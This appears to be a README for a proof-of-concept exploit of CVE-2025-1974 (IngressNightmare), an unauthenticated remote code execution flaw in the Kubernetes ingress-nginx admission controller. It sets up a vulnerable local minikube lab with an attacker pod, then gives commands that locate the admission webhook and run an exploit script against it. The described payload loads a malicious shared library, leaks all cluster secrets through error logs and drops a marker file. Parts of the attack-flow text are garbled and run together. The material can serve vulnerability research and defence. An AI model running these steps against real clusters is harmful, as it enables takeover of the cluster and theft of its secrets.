
ingress-nginx admission controller RCE escalation PoC
CVE-2025-1974 (IngressNightmare) is a critical (CVSS 9.8) unauthenticated Remote Code Execution vulnerability in the Kubernetes ingress-nginx admission controller.
Attack Flow:
AdmissionReview) with the annotation that injects the ssl_engine directivenginx -t which loads and executes the malicious .soImpact:
Run the provided ./setup_cve_env script. It will install all the required tools (minikube, kubectl, helm) and create a one-node minikube
cluster. Then a vulnerable version of the NGINX ingress-controller will be deployed to the cluster, together with an attacker pod that will
use the controller admission webhook to send the payload.
WEBHOOK_IP=$(kubectl get pod -n ingress-nginx -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].status.podIP}')
kubectl exec attacker -- python3 /tmp/exploit.py $WEBHOOK_IP
The response error logs will show CVE-2025-1974 RCE TRIGGERED. Also, the error logs will exfiltrate secrets, as the ingress controller pod has access to all the cluster secrets.
The .so payload will also create a pwned file. Check its presence with:
kubectl exec -n ingress-nginx $CPOD -- ls -l /tmp/pwned